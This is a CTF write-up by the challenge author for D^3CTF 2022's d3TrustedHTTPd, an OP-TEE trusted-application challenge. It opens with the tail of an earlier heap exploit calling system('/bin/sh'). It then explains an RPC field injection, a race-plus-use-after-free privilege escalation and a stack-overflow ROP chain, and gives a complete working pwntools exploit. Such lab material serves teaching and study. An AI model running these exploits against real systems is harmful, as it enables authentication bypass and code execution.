    edit_value(b"AAAA", 105, w_part1)
    edit_value(b"AAAA", 106, w_part2)
    edit_value(b"AAAA", 107, w_part3)

    paylaod = type_atom(1, [2]*1) + name_atom(b"/bin/sh;"+p64(system)) + value_atom(1, [0xaaaa]*1)
    input_data(paylaod)
    #paylaod = type_atom(1, [2]*1) + name_atom(p64(system)) + value_atom(1, [0xaaaa]*1)
    #input_data(paylaod)

    print("free_hook:", hex(free_hook))

    remove(b"/bin/sh;"+p64(system))

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

Github Repo:d3ctf-2022-pwn-d3TrustedHTTPd

Author:Eqqie @ D^3CTF

Analysis

This is a challenge about ARM TEE vulnerability exploitation, I wrote an HTTPd as well as an RPC middleware on top of the regular TEE Pwn. The TA provides authentication services for HTTPd and a simple file system based on OP-TEE secure storage. HTTPd is written based on mini_httpd and the RPC middleware is located in /usr/bin/optee_d3_trusted_core, and they are related as follows.

1

To read the log in secure world (TEE) you can add this line to the QEMU args at run.sh.

-serial tcp:localhost:54320 -serial tcp:localhost:54321 \

This challenge contains a lot of code and memory corruption based on logic vulnerabilities, so it takes a lot of time to reverse the program. In order to quickly identify the OP-TEE API in TA I recommend you to use BinaryAI online tool to analyze TA binaries, it can greatly reduce unnecessary workload.

f5da5a5cb1efe21d620a0a63feda4ff

Step 1

The first vulnerability appears in the RPC implementation between HTTPd and optee_d3_trusted_core. HTTPd only replaces spaces with null when getting the username parameter and splices the username into the end of the string used for RPC.

image-20230502220946251

image-20230502221009171

optee_d3_trusted_core considers that different fields can be separated by spaces or \t (%09) when parsing RPC data, so we can inject additional fields into the RPC request via \t.

image-20230502221340781

When an attacker requests to log in to an eqqie user using face_id, the similarity between the real face_id vector and the face_id vector sent by the attacker expressed as the inverse of the Euclidean distance can be leaked by injecting eqqie%09get_similarity.

The attacker can traverse each dimension of the face_id vector in a certain step value (such as 0.015) and request the similarity of the current vector from the server to find the value that maximizes the similarity of each dimension. When all 128 dimensions in the vector have completed this calculation, the vector with the highest overall similarity will be obtained, and when the similarity exceeds the threshold of 85% in the TA, the Face ID authentication can be passed, bypassing the login restriction.

Step 2

In the second step we complete user privilege elevation by combining a TOCTOU race condition vulnerability and a UAF vulnerability in TA to obtain Admin user privileges.

When we use the /api/man/user/disable API to disable a user, HTTPd completes this behavior in two steps, the first step is to kick out the corresponding user using command user kickout and then add the user to the disable list using command user disable.

image-20230502223311793

TEE is atomic when calling TEEC_InvokeCommand in the same session, that is, only when the current Invoke execution is finished the next Invoke can start to execute, so there is no competition within an Invoke. But here, TEEC_InvokeCommand is called twice when implementing kickout, so there is a chance of race condition.

Kickout function is implemented by searching the session list for the session object whose record UID is the same as the UID of the user to be deleted, and releasing it.

image-20230502223709668

Disable function is implemented by moving the user specified by username from the enable user list to the disable user list.

image-20230502224103696

We can use a race condition idea where we first login to the guest user once to make it have a session, and then use two threads to disable the guest user and log in to the guest user in parallel. There is a certain probability that when the /api/man/user/disable interface kicks out the guest user, the attacker gives a new session to the guest user via the /api/login interface, and the /api/man/user/disable interface moves the guest user into the disabled list. After completing this attack, the attacker holds a session that refers to the disabled user.

Based on this prerequisite we can exploit the existence of a UAF vulnerability in TA when resetting users. (I use the source code to show the location of the vulnerability more clearly)

image-20230502225611570

When you reset a user, if the user is already disabled, you will enter the logic as shown in the figure. The user's object is first removed from the user list, and if the set_face_id parameter is specified at reset time, a memory area is requested to hold the new face_id vector. The TA then recreates a user using d3_core_add_user_info. Finally, the TA iterates through all sessions and compares the uid to update the pointer to the user object referenced by the session. But instead of using session->uid when comparing UIDs, session->user_info->uid is used incorrectly. The object referenced by session->user_info has been freed earlier, so a freed chunk of memory is referenced here. If we can occupy this chunk by heap fengshui, we can bypass the updating of the user object reference on this session by modifying the UID hold by user_info object and then make the session refer to a fake user object forged by attacker. Naturally, the attacker can make the fake user as an Admin user.

To complete the attack on this UAF, you can first read this BGET Explained (phi1010.github.io) article to understand how the OP-TEE heap allocator works. The OP-TEE heap allocator is roughly similar to the unsorted bin in Glibc, except that the bin starts with a large freed chunk, which is split from the tail of the larger chunk when allocating through the bin. When releasing the chunk, it tries to merge the freed chunk before and after and insert it into the bin via a FIFO strategy. In order to exploit this vulnerability, we need to call the reset function after we adjust the heap layout from A to B, and then we can use the delete->create->create gadget in reset function. It will make the heap layout change in the way of C->D->E. In the end we can forge a Admin user by controlling the new face data.

image-20230502232518449

Step 3

When we can get Admin privileges, we can fully use the secure file system implemented in TA based on OP-TEE secure storage (only read-only privileges for normal users).

The secure file system has two modes of erase and mark when deleting files or directories. The erase mode will delete the entire file object from the OP-TEE secure storage, while the mark mode is marked as deleted in the file node, and the node will not be reused until there is no free slot.

The secure file system uses the SecFile data structure when storing files and directories. When creating a directory, the status is set to 0xffff1001 (for a file, this value is 0xffff0000). There are two options for deleting a directory, recursive and non-recursive. When deleting a directory in recursive mode, the data in the secure storage will not be erased, but marked as deleted.

typedef struct SecFile sec_file_t;
typedef sec_file_t sec_dir_t;
#pragma pack(push, 4)
struct SecFile{
    uint32_t magic;
    char hash[TEE_SHA256_HASH_SIZE];
    uint32_t name_size;
    uint32_t data_size;
    char filename[MAX_FILE_NAME];
    uint32_t status;
    char data[0];
};
#pragma pack(pop)

There is a small bug when creating files with d3_core_create_secure_file that the status field is not rewritten when reusing a slot that is marked as deleted (compared to d3_core_create_secure_dir which does not have this flaw). This does not directly affect much.

image-20230503003858564

image-20230503003654968

But there is another flaw when renaming files, that is, it is allowed to set a file name with a length of 128 bytes. Since the maximum length of the file name field is 128, this flaw will cause the filename to loss the null byte at the end. This vulnerability combined with the flaw of rewriting of the status field will include the length of the file name itself and the length of the file content when updating the length of the file name. This causes the file name and content of the file to be brought together when using d3_core_get_sec_file_info to read file information.

7ac17a0ea058ffb702e9754be596f8d

070b86d520221b246afa7a1b2598b79

When the d3_core_get_sec_file_info function is called, the pointer to store the file information in the CA will be passed to the TA in the way of TEEC_MEMREF_TEMP_INPUT. This pointer references the CA's buffer on the stack.

image-20230503004650985

12c883cc1a6d7728775b01700b41b2f

617a2c40f860058a6151024fff90ab7

image-20230503011850677

The TEEC_MEMREF_TEMP_INPUT type parameter of CA is not copied but mapped when passed to TA. This mapping is usually mapped in a page-aligned manner, which means that it is not only the data of the size specified in tmpref.size that is mapped to the TA address space, but also other data that is located in the same page. As shown in the figure, it represents the address space of a TA, and the marked position is the buffer parameter mapped into the TA.

image-20230503005412695

In this challenge, the extra data we write to the buffer using d3_core_get_sec_file_info will cause a stack overflow in the CA, because the buffer for storing the file name in the CA is only 128 bytes, as long as the file content is large enough, we can overwrite it to the return address in the CA. Since the optee_d3_trusted_core process works with root privileges, hijacking its control flow can find a way to obtain the content of /flag.txt with the permission flag of 400. Note that during buffer overflow, /api/secfs/file/update can be used to pre-occupy a larger filename size, thereby bypassing the limitation that the content after the null byte cannot be copied to the buffer.

With the help of the statically compiled gdbserver, we can quickly determine the stack location that can control the return address. For functions with buffer variables, aarch64 will put the return address on the top of the stack to prevent it from being overwritten. What we overwrite is actually the return address of the upper-level function. With the help of the almighty gadget in aarch64 ELF, we can control the chmod function to set the permission of /flag.txt to 766, and then read the flag content directly from HTTPd.

image-20230503011343736

image-20230503011458586

Exploit

from pwn import *
from urllib.parse import urlencode, quote
import threading
import sys
import json
import struct
import os
import time

context.arch = "aarch64"
context.log_level = "debug"

if len(sys.argv) != 3:
    print("python3 exp.py ip port")
ip = sys.argv[1]
port = int(sys.argv[2])

def get_conn():
    return remote(ip, port)

def make_post_request(path, body, session_id=None):
    if isinstance(session_id, str):
        session_id = session_id.encode()
    if isinstance(body, str):
        body = body.encode()    
    p = get_conn()
    req = b"POST " + path.encode() + b" HTTP/1.1\r\n"
    req += b"Content-Length: "+ str(len(body)).encode() + b"\r\n"
    if session_id:
        req += b"Cookie: session_id="+ session_id + b";\r\n"
    req += b"\r\n"
    req += body
    p.send(req)
    return p

def leak_similarity(face_data:list):
    done = 0
    similarity = 0.0
    while(done == 0):
        try:
            body = f"auth_mode=face_id&username=eqqie%09get_similarity&face_data={str(face_data)}".encode()
            p = make_post_request("/api/login", body)
            p.recvuntil(b"HTTP/1.1 ")
            if(p.recv(3) == b"400"):
                print("Try leak again...")
                p.close()
                done = 0
                continue
            p.recvuntil(b"session_id=")
            leak = p.recvuntil(b"; ", drop=True).decode()
            p.close()
            similarity = float(leak)
            done = 1
        except KeyboardInterrupt:
            print("KeyboardInterrupt")
            sys.exit(0)
        except Exception as e:
            print("leak error:", e)
            p.close()
    return similarity
   
def login_by_face(face_data:list):
    args = {
        "auth_mode": "face_id",
        "username": "eqqie",
        "face_data": str(face_data)
    }
    body = urlencode(args).encode()
    p = make_post_request("/api/login", body)
    p.recvuntil(b"session_id=")
    session_id = p.recvuntil(b"; Path", drop=True).decode()
    p.close()
    return session_id
    
def login_by_passwd(username, password):
    args = {
        "auth_mode": "passwd",
        "username": username,
        "password": password
    }
    body = urlencode(args).encode()
    try:
        p = make_post_request("/api/login", body)
        p.recvuntil(b"session_id=")
        session_id = p.recvuntil(b"; Path", drop=True).decode()
        p.close()
    except:
        print("no session!")
        session_id = None
    return session_id
    
def disable_user(session_id, user):
    if isinstance(session_id, str):
        session_id = session_id.encode()
    args = {
        "username": user
    }
    body = urlencode(args).encode()
    p = make_post_request("/api/man/user/disable", body, session_id)
    p.recv()
    p.close()
    
def enable_user(session_id, user):
    if isinstance(session_id, str):
        session_id = session_id.encode()
    args = {
        "username": user
    }
    body = urlencode(args).encode()
    p = make_post_request("/api/man/user/enable", body, session_id)
    p.recv()
    p.close()
    
def reset_user(session_id, user, face_data=None):
    if isinstance(session_id, str):
        session_id = session_id.encode()
    if not face_data:
        args = {
            "username": user
        }
    else:
        args = {
            "username": user,
            "option": "set_face_id",
            "face_data": str(face_data)
        }        
    body = urlencode(args).encode()
    p = make_post_request("/api/man/user/reset", body, session_id)
    p.recv()
    p.close()
    
def test_race_resule(session_id):
    if isinstance(session_id, str):
        session_id = session_id.encode()
    p = make_post_request("/api/user", b"", session_id)
    p.recvuntil(b"HTTP/1.1 ")
    http_status = p.recv(3)
    p.close()
    if http_status == b"200":
        return 0
    elif http_status == b"403":
        remain = p.recv()
        if b"Disabled User" in remain:
            return 2
        else:
            return 1
            
def user_info(session_id):
    if isinstance(session_id, str):
        session_id = session_id.encode()
    p = make_post_request("/api/user", b"", session_id)
    p.recvuntil(b"HTTP/1.1 ")
    http_status = p.recv(3)
    if http_status == b"200":
        try:
            p.recvuntil(b"Connection: close\r\n\r\n")
            p.close()
            json_data = p.recvall().decode()
            return json.loads(json_data)
        except:
            p.close()
            return None
    else:
        p.close()
        return None 
        
def secfs_file_man(action: str, session_id: str, **kwargs):
    print(f"[*] secfs_file_man: action [{action}] with args [{kwargs}]")
    if isinstance(session_id, str):
        session_id = session_id.encode()
    if action == "create":
        body = f"filename={kwargs['filename']}&data={kwargs['data']}&parent_id={kwargs['parent_id']}".encode()
        p = make_post_request("/api/secfs/file/create", body, session_id)
        p.recvuntil(b"\r\n\r\n")
        ret_data = p.recv()
        p.close()
    elif action == "delete":
        body = f"ext_id={kwargs['ext_id']}&del_mode={kwargs['del_mode']}".encode()
        p = make_post_request("/api/secfs/file/delete", body, session_id)
        p.recvuntil(b"\r\n\r\n")
        ret_data = p.recv()
        p.close()
    elif action == "info":
        body = f"ext_id={kwargs['ext_id']}".encode()
        p = make_post_request("/api/secfs/file/info", body, session_id)
        p.recvuntil(b"\r\n\r\n")
        ret_data = p.recv()
        p.close()
    elif action == "read":
        body = f"ext_id={kwargs['ext_id']}".encode()
        p = make_post_request("/api/secfs/file/read", body, session_id)
        ret_data = p.recv()
        p.close()
    elif action == "rename":
        body = f"ext_id={kwargs['ext_id']}&new_filename={kwargs['new_filename']}".encode()
        p = make_post_request("/api/secfs/file/rename", body, session_id)
        p.recvuntil(b"\r\n\r\n")
        ret_data = p.recv()
        p.close()
    elif action == "update":
        body = f"ext_id={kwargs['ext_id']}&data={kwargs['data']}".encode()
        p = make_post_request("/api/secfs/file/update", body, session_id)
        p.recvuntil(b"\r\n\r\n")
        ret_data = p.recv()
        p.close()
    elif action == "slots":
        p = make_post_request("/api/secfs/file/slots", b"", session_id)
        p.recvuntil(b"\r\n\r\n")
        ret_data = p.recv()
        p.close()
    else:
        return None
    return ret_data
    
def secfs_dir_man(action: str, session_id: str, **kwargs):
    print(f"[*] secfs_dir_man: action [{action}] with args [{kwargs}]")
    if isinstance(session_id, str):
        session_id = session_id.encode()
    if action == "create":
        body = f"parent_id={kwargs['parent_id']}&dir_name={kwargs['dir_name']}".encode()
        p = make_post_request("/api/secfs/dir/create", body, session_id)
        p.recvuntil(b"\r\n\r\n")
        ret_data = p.recv()
        p.close()
    elif action == "delete":
        body = f"ext_id={kwargs['ext_id']}&rm_mode={kwargs['rm_mode']}".encode()
        p = make_post_request("/api/secfs/dir/delete", body, session_id)
        p.recvuntil(b"\r\n\r\n")
        ret_data = p.recv()
        p.close()
    elif action == "info":
        body = f"ext_id={kwargs['ext_id']}".encode()
        p = make_post_request("/api/secfs/dir/info", body, session_id)
        p.recvuntil(b"\r\n\r\n")
        ret_data = p.recv()
        p.close()      
    else:
        return None
    return ret_data
    
def forge_face_id(size:int):
    fake_face = [0.0 for _ in range(size)]
    rounds = 0
    total_max = 0.0
    delta = 0.025
    burp_range = 20
    while True:
        for i in range(size):
            local_max = 0.0
            max_index = 0
            for j in range(-burp_range, burp_range):
                rounds += 1
                fake_face[i] = j * delta
                print(fake_face)
                curr = leak_similarity(fake_face)
                if curr >= local_max:
                    local_max = curr
                    max_index = j
                else:
                    break
            fake_face[i] = max_index * delta
            total_max = leak_similarity(fake_face)
            time.sleep(0.01)
        if total_max > 0.85:
            print("Success!")
            break
        else:
            print("Fail!")
            return None
    print(f"Final similarity = {total_max}, rounds = {rounds}")
    return fake_face


class MyThread(threading.Thread):
    def __init__(self, func, args=()):
        super(MyThread, self).__init__()
        self.func = func
        self.args = args
    def run(self):
        self.result = self.func(*self.args)
    def get_result(self):
        threading.Thread.join(self)
        try:
            return self.result
        except Exception:
            return None

def race_and_uaf(session_id):
    uaf_face_data = [1.0]*128
    uaf_face_data[88] = struct.unpack("<d", b"user"+p32(2333))[0]
    uaf_face_data[89] = struct.unpack("<d", p64(0))[0]
    uaf_face_data[90] = struct.unpack("<d", b"AAAABBBB")[0]
    
    eqqie_session = session_id
    disable_user(eqqie_session, "guest")
    reset_user(eqqie_session, "guest")
    enable_user(eqqie_session, "guest")
    guest_session = login_by_passwd("guest", "password")
    print("guest_session:", guest_session)
    usable_session = None
    for _ in range(500):
        ta = MyThread(func=disable_user, args=(eqqie_session, "guest"))
        tb = MyThread(func=login_by_passwd, args=("guest", "password"))
        ta.start()
        tb.start()
        ta.join()
        tb.join()
        guest_session = tb.get_result() 
        if guest_session:
            if(test_race_resule(guest_session) == 2):
                usable_session = guest_session
                print("Race success:", usable_session)
                reset_user(eqqie_session, "guest")
                reset_user(eqqie_session, "guest", uaf_face_data)
                break
        enable_user(eqqie_session, "guest")
    if not usable_session:
        print("Race fail!")
        return
    json_data = user_info(usable_session)
    if json_data:
        if json_data['data']['type'] == 'admin':
            print("UAF success!")
            return usable_session
        else:
            print('UAF Fail!')
            return None
    else:
        print("no json data!")
        return None
   
def name_stkof(session_id):
    for i in range(127):
        json_ret = secfs_dir_man("create", session_id, dir_name=f"dir_{i}", parent_id=0)
        json_ret = json.loads(json_ret.decode())
        if(json_ret['code'] == 0):
            secfs_dir_man("delete", session_id, ext_id=json_ret['data']['ext_id'], rm_mode='recur')
        else:
            continue
    secfs_file_man("slots", session_id)
    
    flag_str = 0x409E58
    perm_val = 0x1F6
    chmod_got = 0x41AEC8
    gadget1 = 0x409D88
    gadget2 = 0x409D68

    rop = p64(gadget1)+b"x"*0x30
    rop += p64(0xdeadbeef) + p64(gadget2)   # x29       x30
    rop += p64(0) + p64(1)                  # x19       x20
    rop += p64(chmod_got) + p64(flag_str)   # x21       x22(w0)
    rop += p64(perm_val) + p64(0xdeadbeef)  # x23(x1)   x24

    payload1 = "a"*(0x214)+"b"*len(rop) # occupy file data to expand file name size
    json_ret = secfs_file_man("create", session_id, filename=f"vuln_file", data=payload1, parent_id=0)
    json_ret = json.loads(json_ret.decode())
    secfs_file_man("rename", session_id, ext_id=json_ret['data']['ext_id'], new_filename="A"*128)
    payload2 = "a"*(0x214)+quote(rop)
    secfs_file_man("update", session_id, ext_id=json_ret['data']['ext_id'], data=payload2)
    secfs_file_man("info", session_id, ext_id=json_ret['data']['ext_id'])

def exp():
    # step 1
    fake_face = forge_face_id(128)
    print("fake face id:", fake_face)
    eqqie_session = login_by_face(fake_face)
    print("eqqie_session:", eqqie_session)
    # step 2
    admin_session = race_and_uaf(eqqie_session)
    print("admin_session:", admin_session)
    # step 3
    name_stkof(admin_session)
    # read_flag
    os.system(f"curl http://{ip}:{port}/flag.txt")
    
if __name__ == "__main__":
    exp()